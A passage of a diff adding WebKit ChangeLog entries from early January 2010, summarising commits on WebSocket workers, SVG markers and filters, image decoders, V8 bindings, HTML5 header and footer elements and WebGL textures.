+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        (WebCore::V8Custom::v8WebSocketConstructorCallback):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        * platform/CrossThreadCopier.cpp:
+        (WebCore::::copy):
+        * platform/CrossThreadCopier.h:
+        (WebCore::):
+        * websockets/ThreadableWebSocketChannel.cpp: Added.
+        * websockets/ThreadableWebSocketChannel.h: Added.
+        * websockets/ThreadableWebSocketChannelClientWrapper.h: Added.
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::connect):
+        (WebCore::WebSocket::didReceiveMessage):
+        * websockets/WebSocket.h:
+        * websockets/WebSocketChannel.h:
+        (WebCore::WebSocketChannel::refThreadableWebSocketChannel):
+        (WebCore::WebSocketChannel::derefThreadableWebSocketChannel):
+        * websockets/WebSocketChannelClient.h:
+        * websockets/WebSocketHandshake.h:
+        * websockets/WorkerThreadableWebSocketChannel.cpp: Added.
+        * websockets/WorkerThreadableWebSocketChannel.h: Added.
+        * workers/WorkerContext.idl:
+
+2010-01-06  Adam Bergkvist  <adam.bergkvist@ericsson.com>
+
+        Reviewed by Darin Adler.
+
+        Modified EventSource event-stream parser to support a single CR as line ending.
+        https://bugs.webkit.org/show_bug.cgi?id=33207
+
+        * page/EventSource.cpp:
+        (WebCore::EventSource::EventSource):
+        (WebCore::EventSource::parseEventStream):
+        * page/EventSource.h:
+
+2010-01-06  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30883
+        [Gtk] Implement AtkText for HTML elements which contain text
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (getInterfaceMaskFromObject):
+        (getPangoLayoutForAtk):
+        (webkit_accessible_text_get_text):
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        (AccessibilityObject::accessibilityPlatformIncludesObject):
+
+2010-01-06  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        <rdar://problem/7488126> With text-rendering: optimizelegibility, sometimes lines run too long
+        https://bugs.webkit.org/show_bug.cgi?id=32794
+
+        Test: platform/mac/fast/text/line-breaking-with-kerning.html
+
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::findNextLineBreak): When kerning is enabled, include
+        the trailing space when measuring a word, then subtract its width. This
+        accounts for kerning between the last glyph of the word and the following space.
+
+2010-01-06  Kevin Decker  <kdecker@apple.com>
+
+        Reviewed by Simon Fraser
+
+        Second step of:
+        <rdar://problem/6398111> Integrate hardware layers with out-of-process plug-ins layer hosting mechanism
+
+        * Plugins/Hosted/WebHostedNetscapePluginView.h: Expose the CALayer of the plugin by adding -pluginLayer method.
+        * Plugins/Hosted/WebHostedNetscapePluginView.mm:
+        (-[WebHostedNetscapePluginView pluginLayer]): Added.
+        * Plugins/WebNetscapePluginView.h: Expose the CALayer of the plugin by adding -pluginLayer method.
+        * Plugins/WebNetscapePluginView.mm:
+        (-[WebNetscapePluginView pluginLayer]): Added.
+
+2010-01-06  Adam Barth  <abarth@webkit.org>
+
+        No review, rolling out r52877.
+        http://trac.webkit.org/changeset/52877
+        https://bugs.webkit.org/show_bug.cgi?id=33243
+
+        I screwed up landing this patch and only partially applied the patch I
+        was trying to land.
+
+        * bindings/ScriptControllerBase.cpp:
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::executeScriptInWorld):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::ScriptController):
+        (WebCore::ScriptController::~ScriptController):
+        (WebCore::ScriptController::updateSecurityOrigin):
+        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        (WebCore::ScriptController::haveInterpreter):
+        (WebCore::ScriptController::mainWorldWindowShell):
+        (WebCore::ScriptController::clearWindowShell):
+        (WebCore::ScriptController::clearForClose):
+        (WebCore::ScriptController::destroyWindowShell):
+        (WebCore::ScriptController::updateDocument):
+        * bindings/v8/ScriptController.h:
+        (WebCore::ScriptController::proxy):
+        (WebCore::ScriptController::windowShell):
+        (WebCore::ScriptController::existingWindowShell):
+        (WebCore::ScriptController::evaluateInWorld):
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::V8DOMWindowShell::create):
+        (WebCore::V8DOMWindowShell::V8DOMWindowShell):
+        (WebCore::V8DOMWindowShell::initContextIfNeeded):
+
+2010-01-06  Eric Seidel  <eric@webkit.org>
+
+        Unreviewed.  Rolling back in a change I should not have rolled out.
+
+        The original commit http://trac.webkit.org/changeset/52862
+        was rolled out again in http://trac.webkit.org/changeset/52871
+        but I now believe that rollout to be in error.
+        My sincerest apologies for the churn.
+
+        Fix the bug in previous commit: we shouldn't finish
+        decoding if "sizeOnly" is true.
+        https://bugs.webkit.org/show_bug.cgi?id=33258
+
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageReader::decode):
+
+2010-01-06  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [v8] Let ScriptController have more than one windowShell
+        https://bugs.webkit.org/show_bug.cgi?id=33243
+
+        This patch lets ScriptController have more than one windowShell.  We're
+        currently only using one of them (for the main world), but this patch
+        lets us use other ones for isolated worlds soon.
+
+        * bindings/ScriptControllerBase.cpp:
+        (WebCore::ScriptController::executeScriptInWorld):
+        * bindings/js/ScriptController.cpp:
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::createWorld):
+        (WebCore::ScriptController::initScript):
+        (WebCore::ScriptController::ScriptController):
+        (WebCore::ScriptController::~ScriptController):
+        (WebCore::ScriptController::updateSecurityOrigin):
+        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        (WebCore::ScriptController::evaluateInWorld):
+        (WebCore::ScriptController::mainWorldWindowShell):
+        (WebCore::ScriptController::clearWindowShell):
+        (WebCore::ScriptController::clearForClose):
+        (WebCore::ScriptController::destroyWindowShell):
+        (WebCore::ScriptController::updateDocument):
+        * bindings/v8/ScriptController.h:
+        (WebCore::ScriptController::windowShell):
+        (WebCore::ScriptController::existingWindowShell):
+        (WebCore::ScriptController::globalObject):
+        (WebCore::ScriptController::proxy):
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::V8DOMWindowShell::create):
+        (WebCore::V8DOMWindowShell::V8DOMWindowShell):
+        (WebCore::V8DOMWindowShell::initContextIfNeeded):
+        * bindings/v8/V8DOMWindowShell.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+
+2010-01-06  Mark Rowe  <mrowe@apple.com>
+
+        Fix the Mac build.
+
+        * WebCore.base.exp: Export symbols WebKit would like to use.
+        * plugins/PluginWidget.h:
+        (WebCore::PluginWidget::PluginWidget): Redeclare a constructor.
+
+2010-01-06  Kevin Decker  <kdecker@apple.com>
+
+        Reviewed by Eric Carlson.
+        
+        First step toward:
+        <rdar://problem/6398111> Integrate hardware layers with out-of-process plug-ins layer hosting mechanism
+        
+        Small refactoring moving the PluginWidget class from WebKit to WebCore.          
+        * WebCore.xcodeproj/project.pbxproj: Added new source files and a "mac" group; exposes PluginWidget.h as a "Private" role
+        * platform/Widget.h: Added isPluginWidget(). 
+        (WebCore::Widget::isPluginWidget):
+        * plugins/PluginWidget.h: Added.
+        (WebCore::PluginWidget::isPluginWidget): Added as an interim solution until Mac plug-ins inheirt from PluginView.
+        * plugins/mac/PluginWidgetMac.mm: Added.
+        (WebCore::PluginWidget::invalidateRect): Added. Extracted from the old WebKit/FrameLoaderClientMac version of PluginWidget
+        
+2010-01-06  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52862.
+        http://trac.webkit.org/changeset/52862
+        https://bugs.webkit.org/show_bug.cgi?id=33258
+
+        Caused svg/W3C-SVG-1.1/linking-a-01-b.svg to crash on the
+        Leopard Release builder.
+
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageReader::decode):
+
+2010-01-06  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Revert the part of my last commit touching Base.xcconfig, was not meant to be commited.
+
+        * Configurations/Base.xcconfig:
+
+2010-01-05  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Generate header declarations for V8 binding security checks
+        and delete V8CustomBinding.cpp
+
+        * Android.v8bindings.mk: Removed V8CustomBinding.cpp.
+        * WebCore.gypi: Removed V8CustomBinding.cpp.
+        * bindings/scripts/CodeGeneratorV8.pm: Generate security check declarations.
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::getTargetFrame): Moved from V8CustomBinding.cpp.
+        (WebCore::reportUnsafeJavaScriptAccess):
+        (WebCore::V8DOMWindowShell::createNewContext):
+        (WebCore::V8DOMWindowShell::setLocation): Moved from V8CustomBinding.cpp.
+        * bindings/v8/V8DOMWindowShell.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::downcastSVGPathSeg): Moved from V8CustomBinding.cpp.
+        (WebCore::V8DOMWrapper::convertSVGObjectWithContextToV8Object):
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/custom/V8CustomBinding.cpp: Removed.
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::locationAccessorSetter):
+        (WebCore::V8DOMWindow::namedSecurityCheck):
+        (WebCore::V8DOMWindow::indexedSecurityCheck):
+        * bindings/v8/custom/V8DocumentLocationCustom.cpp:
+        (WebCore::V8Document::locationAccessorSetter):
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        (WebCore::V8History::indexedSecurityCheck):
+        (WebCore::V8History::namedSecurityCheck):
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::V8Location::indexedSecurityCheck):
+        (WebCore::V8Location::namedSecurityCheck):
+
+2010-01-06  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        Marker code is buggy: referencePoint translation is off
+        https://bugs.webkit.org/show_bug.cgi?id=33012
+
+        Rewrite marker code, as it had many issues:
+        - Correct refX/refY handling (covered by new marker-referencePoint.svg test)
+        - Calculate marker bounds on layout time, instead of paint time, to deliver correct repaint rects
+        - Cleanup RenderPath code, which was cluttered by marker stuff (outlay in SVGMarkerLayoutInfo)
+        - Fix SVGResource assuming that there is only one resource per resource type per element. Markers
+          can have three different resources of the same type (three markers, start/mid/end markers)
+
+        Filed bug 33115 (PathElementAddQuadCurveToPoint not handled for <marker>), which was just a TODO in the code before.
+
+        Fixes all svg/custom/marker*.svg tests, that use dynamic updates (propagation failed before).
+        Test: svg/custom/marker-referencePoint.svg
+              svg/custom/marker-opacity.svg
+              svg/custom/marker-strokeWidth-changes.svg
+
+        * Android.mk: Add SVGMarkerData.h / SVGMarkerLayoutInfo.(cpp,h) to build.
+        * GNUmakefile.am: Ditto.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * page/FrameView.cpp: Notify RenderSVGRoot children about viewport size changes, just like it's handled for <body> in HTML.
+        (WebCore::FrameView::layout): This is important, as marker bounding boxes may depend on the current viewport size through relative coordinates used in <svg>.
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::markerBoundingBox): Calculates and caches marker boundaries in the layout() phase.
+        (WebCore::RenderPath::repaintRectInLocalCoordinates): Use the cached marker bounding box during paint() time.
+        (WebCore::RenderPath::setPath): Clear marker boundaries upon path changes.
+        (WebCore::RenderPath::paint): Use SVGMarkerLayoutInfo::drawMarkers() instead of the local drawMarkersIfNeeded() function, which is gone now.
+        (WebCore::RenderPath::calculateMarkerBoundsIfNeeded): Utilized by markerBoundingBox() to request SVGResourceMarker objects and calculate their boundaries.
+        * rendering/RenderPath.h: Store SVGMarkerLayoutInfo objects, and rename m_markerBounds to m_cachedLocalMarkerBBox for consistency.
+        (WebCore::RenderPath::path): Inline this accessor.
+        * rendering/RenderSVGContainer.h: Make paint() public (to be used from SVGResourceMarker), all other methods protected (to be used from RenderSVGViewportContainer).
+        * rendering/RenderSVGViewportContainer.cpp: Remove useless paint() override, as the comment in the code indicated.
+        (WebCore::RenderSVGViewportContainer::markerBoundaries): Maps the marker contents repaintRectInLocalCoordinates() into the final coordinate system (see code).
+        (WebCore::RenderSVGViewportContainer::markerContentTransformation): Add marker-specific helper method, allowing to make viewportTransform() private again.
+        * rendering/RenderSVGViewportContainer.h: Marking viewportTransform() private, it's never meant to be used outside this renderer.
+        * rendering/SVGMarkerData.h: Added. Refactored from existing RenderPath code, preserving original copyrights.
+        (WebCore::SVGMarkerData::): Helper struct for SVGMarkerLayoutInfo.
+        (WebCore::SVGMarkerData::origin): Holds the final computed destination of a marker.
+        (WebCore::SVGMarkerData::marker): Holds a pointer to the associated SVGResourceMarker object, which we're aiming to layout.
+        (WebCore::SVGMarkerData::currentAngle): Calculates the current angle for a certain marker type (start/mid/end) based upon the computed inslope/outslope values.
+        (WebCore::SVGMarkerData::updateTypeAndMarker): Helper method.
+        (WebCore::SVGMarkerData::updateOutslope): Ditto.
+        (WebCore::SVGMarkerData::updateMarkerDataForPathElement): Does the actual inslope/outslope calculation.
+        (WebCore::SVGMarkerData::updateInslope): Helper method.
+        * rendering/SVGMarkerLayoutInfo.cpp: Added. New approach to build marker layout info, this time correct during layout() time instead of paint() time.
+        (WebCore::SVGMarkerLayoutInfo::SVGMarkerLayoutInfo):
+        (WebCore::SVGMarkerLayoutInfo::~SVGMarkerLayoutInfo):
+        (WebCore::processStartAndMidMarkers): Static helper method used to visit each path element in order to calculate inslopes/outslopes (-> orientation angles)
+        (WebCore::SVGMarkerLayoutInfo::calculateBoundaries): Build list of MarkerLayout objects, used to query boundaries, and to paint markers during drawMarkers().
+        (WebCore::SVGMarkerLayoutInfo::drawMarkers): Cheap method walking existing MarkerLayout vector, drawing the individual RenderSVGViewportContainer of the markers.
+        (WebCore::SVGMarkerLayoutInfo::addLayoutedMarker): Helper method.
+        * rendering/SVGMarkerLayoutInfo.h: Added.
+        (WebCore::MarkerLayout::MarkerLayout): Helper struct storing a pair of SVGResourceMarker* and a TranformationMatrix.
+        (WebCore::SVGMarkerLayoutInfo::markerData): Public helper methods returning references to private member variables, used from processStartAndMidMarkers.
+        (WebCore::SVGMarkerLayoutInfo::midMarker): Ditto.
+        (WebCore::SVGMarkerLayoutInfo::elementIndex): Ditto.
+        * svg/SVGMarkerElement.cpp: Adopt to name change: setRef() -> setReferencePoint(). setMarker() -> setRenderer()
+        (WebCore::SVGMarkerElement::~SVGMarkerElement): Remove obsolete detach() hack, fixed by SVGUseElement changes.
+        (WebCore::SVGMarkerElement::canvasResource): Add ASSERT(renderer()) to clarify that canvasResource() is only meant to used after renderer creation.
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::~SVGSVGElement): Remove obsolete detach() hack, fixed by SVGUseElement changes.
+        * svg/SVGUseElement.cpp: Rework buildPendingResource() to remove SVGSVGElement/SVGMarkerElement detach() hacks (called manually from destructors), see below.
+        (WebCore::SVGUseElement::buildPendingResource): Always detach() the shadow tree root element, before destructing it - this caused the regression with this patch before.
+        * svg/graphics/SVGResource.cpp: Instead of maintaining a global hashmap between SVGStyledElements and an array of possible SVGResources, use a HashSet of SVGResources
+                                        and directly scan the already existing list of clients for a certain SVGResource. This wrong approach has been introduced over two years
+                                        ago, making the assumption that there's only one resource type per element. Though markers can provide three resources of the same type
+                                        per element (all SVGResourceMarker objects, but in different rules: start/mid/end marker). That information is only available while painting.
+        (WebCore::resourceSet): Add global static HashSet<SVGResource*>.
+        (WebCore::SVGResource::SVGResource): Add us to the resourceSet.
+        (WebCore::SVGResource::~SVGResource): Remove us from resourceSet.
+        (WebCore::SVGResource::removeClient): Traverse all SVGResource clients and remove the passed SVGStyledElement from the client list (invoked by SVGStyledElement destructor).
+        (WebCore::SVGResource::addClient): Remove the offending part of the old approach, making the wrong assumption regarding resource types.
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::SVGResourceMarker::SVGResourceMarker):
+        (WebCore::SVGResourceMarker::markerTransformation): Create TransformationMatrix in the local marker content (RenderSVGViewportContainer) coordinate system, to position a marker.
+        (WebCore::SVGResourceMarker::draw): Simplify marker drawing a lot: used the passing TransformationMatrix (cached in SVGMarkerLayoutInfo) to draw the marker content renderer.
+        (WebCore::SVGResourceMarker::externalRepresentation): Adopt to refX/refY -> referencePoint changes.
+        * svg/graphics/SVGResourceMarker.h: Store a FloatPoint m_referecePoint instead of two refX/refY float values.
+        (WebCore::SVGResourceMarker::setRenderer): Renamed from setMarker().
+        (WebCore::SVGResourceMarker::setReferencePoint): Renamed from setRef().
+        (WebCore::SVGResourceMarker::referencePoint): New accessor replacing refX() / refY().
+
+2010-01-06  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG feImage support
+        https://bugs.webkit.org/show_bug.cgi?id=31905
+
+        This implements the SVG Filter effect feImage with support of fragment urls.
+        It also includes a bug fix for feComposite. feComposite didn't cover values
+        bigger than 255 correctly on composite oeprator arithmetic.
+
+        Tests: There are already many feImage tests in trunk. They just needed updated
+               pixel test results.
+               The feComposite bug is covered by svg/W3C-SVG-1.1/filters-composite-02-b.svg
+               and depends on feImage.
+
+        * platform/graphics/filters/FEComposite.cpp:
+        (WebCore::arithmetic):
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::paint):
+        * rendering/RenderSVGImage.h:
+        * svg/SVGFEImageElement.cpp:
+        (WebCore::SVGFEImageElement::requestImageResource):
+        (WebCore::SVGFEImageElement::parseMappedAttribute):
+        (WebCore::SVGFEImageElement::notifyFinished):
+        (WebCore::SVGFEImageElement::build):
+        * svg/SVGFEImageElement.h:
+        * svg/SVGFEImageElement.idl:
+        * svg/SVGPreserveAspectRatio.cpp:
+        (WebCore::SVGPreserveAspectRatio::transformRect):
+        * svg/SVGPreserveAspectRatio.h:
+        * svg/graphics/filters/SVGFEImage.cpp:
+        (WebCore::FEImage::FEImage):
+        (WebCore::FEImage::create):
+        (WebCore::FEImage::apply):
+        * svg/graphics/filters/SVGFEImage.h:
+
+2010-01-06  Yong Li  <yoli@rim.com>
+
+        Reviewed by Darin Adler.
+
+        Fix the bug in previous commit: we shouldn't finish
+        decoding if "sizeOnly" is true.
+        https://bugs.webkit.org/show_bug.cgi?id=33258
+
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageReader::decode):
+
+2010-01-06  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52855.
+        http://trac.webkit.org/changeset/52855
+        https://bugs.webkit.org/show_bug.cgi?id=33222
+
+        Caused 6 layout tests to fail on Mac
+
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::substituteResourceDeliveryTimerFired):
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::continueAfterContentPolicy):
+        * loader/ResourceLoader.cpp:
+        * loader/ResourceLoader.h:
+
+2010-01-06  Yong Li  <yoli@rim.com>
+
+        Reviewed by Darin Adler.
+
+        Let ReourceLoader deliver segmented data
+        when loading resource from a SharedBuffer object.
+        https://bugs.webkit.org/show_bug.cgi?id=33222
+
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::substituteResourceDeliveryTimerFired):
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::continueAfterContentPolicy):
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::didReceiveData):
+        * loader/ResourceLoader.h:
+
+2010-01-06  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed trivial Qt build fix.
+
+        Prefix the phonon includes with phonon/ to avoid conflicts with the S60
+        audio routing API ( http://wiki.forum.nokia.com/index.php/Audio_Routing_API ).
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+
+2010-01-05  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Moving v8::HandleScope up above declaration of v8::Local to fix a
+        Chromium startup crash.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::setContextDebugId):
+
+2010-01-05  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [v8] Move V8DOMWindowShell to ScriptController
+        https://bugs.webkit.org/show_bug.cgi?id=33232
+
+        This patch moves V8DOMWindow shell to ScriptController, where the
+        window shells live in JSC land.  The next step will be to allow for
+        more than one window shell per script controller.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::ScriptController):
+        (WebCore::ScriptController::~ScriptController):
+        (WebCore::ScriptController::updateSecurityOrigin):
+        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        (WebCore::ScriptController::haveInterpreter):
+        (WebCore::ScriptController::mainWorldWindowShell):
+        (WebCore::ScriptController::clearWindowShell):
+        (WebCore::ScriptController::clearForClose):
+        (WebCore::ScriptController::destroyWindowShell):
+        (WebCore::ScriptController::updateDocument):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::V8DOMWindowShell::~V8DOMWindowShell):
+        * bindings/v8/V8DOMWindowShell.h:
+        (WebCore::V8DOMWindowShell::localHandleForContext):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8DOMWrapper::convertDocumentToV8Object):
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+        * bindings/v8/V8IsolatedContext.cpp:
+        (WebCore::V8IsolatedContext::V8IsolatedContext):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::V8Proxy):
+        (WebCore::V8Proxy::~V8Proxy):
+        (WebCore::V8Proxy::handleOutOfMemory):
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::setInjectedScriptContextDebugId):
+        (WebCore::V8Proxy::context):
+        (WebCore::V8Proxy::mainWorldContext):
+        (WebCore::V8Proxy::currentContext):
+        (WebCore::V8Proxy::setContextDebugId):
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/WorldContextHandle.cpp:
+        (WebCore::WorldContextHandle::adjustedContext):
+
+2010-01-05  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Implement HTML5 <header> and <footer> elements.
+        https://bugs.webkit.org/show_bug.cgi?id=32943
+
+        <header> and <footer> should behave the same as <nav>, <section>,
+        <article>, and <aside>. The HTML parser doesn't need to restrict
+        the nesting of header/footer elements.
+
+        Tests: fast/html/footer-element.html
+               fast/html/header-element.html
+
+        * css/html.css: Add header/footer as block elements.
+        * editing/htmlediting.cpp:
+        (WebCore::validBlockTag): Add headerTag and footerTag.
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::tagPriority): Returns 5 for headerTag and footerTag.
+        (WebCore::blockTagList): Add headerTag and footerTag.
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::handleError): Rename isHeaderTag() to isHeadingTag()
+        (WebCore::HTMLParser::getNode): Add headerTag and footerTag.
+        (WebCore::HTMLParser::isHeadingTag): Renamed from isHeaderTag().
+        * html/HTMLParser.h:
+          - Rename isHeaderTag() to isHeadingTag()
+          - Remove non-existing popNestedHeaderTag().
+        * html/HTMLTagNames.in: Add header and footer.
+
+2010-01-05  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        CDATA sections are merged into Text nodes when normalize() is used
+        https://bugs.webkit.org/show_bug.cgi?id=33191
+
+        Test: fast/dom/Node/normalize-with-cdata.html
+
+        * dom/Node.cpp:
+        (WebCore::Node::normalize): Use nodeType instead of isTextNode.
+
+2010-01-05  James Robinson  <jamesr@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Typing in Google Wave repaints the whole screen
+        https://bugs.webkit.org/show_bug.cgi?id=32295
+
+        Marks a RenderBlock without block children for layout and painting when it has no line boxes only if it has inline immediate children.
+        The existing logic uses the existence of line boxes as a dirty flag to indicate that line boxes need to be regenerated.  This heuristic
+        fails when the RenderBlock does not have any in-flow children at all, causing the RenderBlock to get unnecessarily marked for layout and
+        painting.  This is particularly bad for common scrollbar manipulation tricks like putting one positioned div inside another - this
+        structure caused the entire outer div's bounds to get scheduled for a paint whenever there was any mutation of any descendant.
+
+        Test: LayoutTests/fast/repaint/block-no-inline-children.html (only shows up in pixel tests)
+
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::layoutInlineChildren):
+
+2010-01-05  James Robinson  <jamesr@chromium.org>
+
+        Reviewed by David Hyatt.
+
+        Cleans up line box clearing when a RenderBlock loses its last child.
+        https://bugs.webkit.org/show_bug.cgi?id=33228
+
+        The 'fullLayout' flag in RenderBlock::layoutInlineChildren() is pretty vague, hopefully this will be easier for the next person to figure out.
+
+
+        No new tests.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::removeChild):
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::layoutInlineChildren):
+
+2010-01-05  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Provide the "documentURL" property for documents and frame owner elements
+
+        This is necessary to determine owner document URLs for nodes (all nodes have
+        the top-level document set as ownerDocument).
+        https://bugs.webkit.org/show_bug.cgi?id=33025
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::buildObjectForNode):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+
+2010-01-05  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Adam Barth.
+
+        Public GIF decoder should stop decoding when allocation fails
+        https://bugs.webkit.org/show_bug.cgi?id=33231
+
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::haveDecodedRow):
+        * platform/image-decoders/gif/GIFImageDecoder.h:
+        * platform/image-decoders/gif/GIFImageReader.cpp:
+        (GIFImageReader::output_row):
+        (GIFImageReader::do_lzw):
+        (GIFImageReader::read):
+        * platform/image-decoders/gif/GIFImageReader.h:
+
+2010-01-05  Yong Li  <yoli@rim.com>
+
+        Reviewed by Darin Adler.
+
+        Make PNG image decoder work with segmented SharedBuffer
+        https://bugs.webkit.org/show_bug.cgi?id=33213
+
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::ImageDecoder::create):
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::ImageDecoder::ImageDecoder):
+        (WebCore::ImageDecoder::isAllDataReceived):
+        (WebCore::ImageDecoder::setData):
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageReader::PNGImageReader):
+        (WebCore::PNGImageReader::close):
+        (WebCore::PNGImageReader::currentBufferSize):
+        (WebCore::PNGImageReader::setComplete):
+        (WebCore::PNGImageReader::decode):
+        (WebCore::PNGImageDecoder::decode):
+        (WebCore::PNGImageDecoder::headerAvailable):
+        (WebCore::PNGImageDecoder::pngComplete):
+
+2010-01-05  Adam Barth  <abarth@webkit.org>
+
+        Rubber stamped by Dimitri Glazkov.
+
+        Fix namespace indent for ScriptController.
+
+        * bindings/v8/ScriptController.h:
+        (WebCore::ScriptController::proxy):
+        (WebCore::ScriptController::windowShell):
+        (WebCore::ScriptController::existingWindowShell):
+        (WebCore::ScriptController::xssAuditor):
+        (WebCore::ScriptController::setProcessingTimerCallback):
+        (WebCore::ScriptController::setPaused):
+        (WebCore::ScriptController::isPaused):
+        (WebCore::ScriptController::sourceURL):
+        (WebCore::ScriptController::evaluateInWorld):
+
+2010-01-05  Rachel Petterson  <rlp@google.com>
+
+        Reviewed by Simon Fraser.
+
+        Implement most cases of texImage2D and texSubImage2D
+        https://bugs.webkit.org/show_bug.cgi?id=31562
+        
+        This fix is with Chris Marrin  <cmarrin@apple.com>.
+        Also bug: https://bugs.webkit.org/show_bug.cgi?id=31493
+
+        From Chris:
+        This implements all cases except HTMLVideoElement. It changes
+        the bindings to accept all parameter forms of the call. Then
+        it plumbs the calls through WebGLRenderingContext down to
+        GraphicsContext3D for the actual implementation.
+
+        From Rachel:
+        This implements texImage2D for chromium. It also implements the V8
+        bindings for texSubImage2D and updates the V8 bindings for texImage2D.
+
+        Tests: fast/canvas/webgl/texImage2DImageDataTest.html
+                  fast/canvas/webgl/texImageTest.html
+
+        * bindings/js/JSWebGLRenderingContextCustom.cpp:
+        (WebCore::JSWebGLRenderingContext::texImage2D):
+        (WebCore::JSWebGLRenderingContext::texSubImage2D):
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::texImage2D):
+        (WebCore::WebGLRenderingContext::texSubImage2D):
+        * html/canvas/WebGLRenderingContext.h:
+        * html/canvas/WebGLRenderingContext.idl:
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::imageToTexture):
+        (WebCore::GraphicsContext3D::texImage2D):
+        (WebCore::GraphicsContext3D::texSubImage2D):
+
+2010-01-04  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Part of <https://bugs.webkit.org/show_bug.cgi?id=32568>.
+        Web Inspector: Context Menus should be used in more places.
+        
+        Add context menus to handle the interaction with breakpoints in the Source Frame. Currently
+        we use left click to add/disable/remove breakpoints, and left click to edit (for conditional
+        breakpoints), but this is hard to discover and behaves differently than Xcode.
+        
